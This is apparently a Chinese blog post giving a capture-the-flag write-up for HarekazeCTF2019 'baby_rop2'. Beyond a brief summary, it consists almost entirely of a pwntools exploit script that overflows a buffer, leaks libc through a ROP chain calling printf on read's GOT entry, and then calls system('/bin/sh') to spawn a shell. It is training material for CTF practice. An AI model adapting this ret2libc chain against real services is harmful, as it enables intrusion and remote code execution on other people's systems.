HarekazeCTF2019 baby_rop2

最新推荐文章于 2024-05-05 22:46:05 发布

原创最新推荐文章于 2024-05-05 22:46:05 发布 · 310 阅读

0 ·

CC 4.0 BY-SA版权

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文详细介绍了HarekazeCTF2019比赛中baby_rop2的解决过程，重点讨论了在调试过程中遇到的问题，即不能利用printf函数的全局 offsets to functions (got) 表进行攻击。通过对挑战的深入分析，揭示了如何在限制条件下利用返回导向编程（ROP）技术来完成挑战。

from pwn import *
p = process('./babyrop2')
libcelf = ELF('./libc-2.23.so')
p = process('./babyrop2')
p.recvuntil("What's your name? ")
pltprintf = 0x00000000004004F0
gotread = 0x0000000000601020
poprdiret = 0x0000000000400733
poprsir15ret = 0x0000000000400731
fmt_str = 0x0000000000400770
start = 0x0000000000400540
payload = 40 * 'a' +  p64(poprdiret) + p64(fmt_str) + p64(poprsir15ret) + p64(gotread) + p64(0) + p64(pltprintf) + p64(start)
p.sendline(payload)
realread = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase = realread - libcelf.symbols['read']
log.success(hex(libcbase))
system = libcbase + libcelf.symbols['system']
binsh = libcbase + libcelf.search('/bin/sh').next()
p.recvuntil("What's your name? ")
payload = 40 * 'a' +  p64(poprdiret) + p64(binsh) + p64(system) + p64(start)
p.sendline(payload)
p.interactive()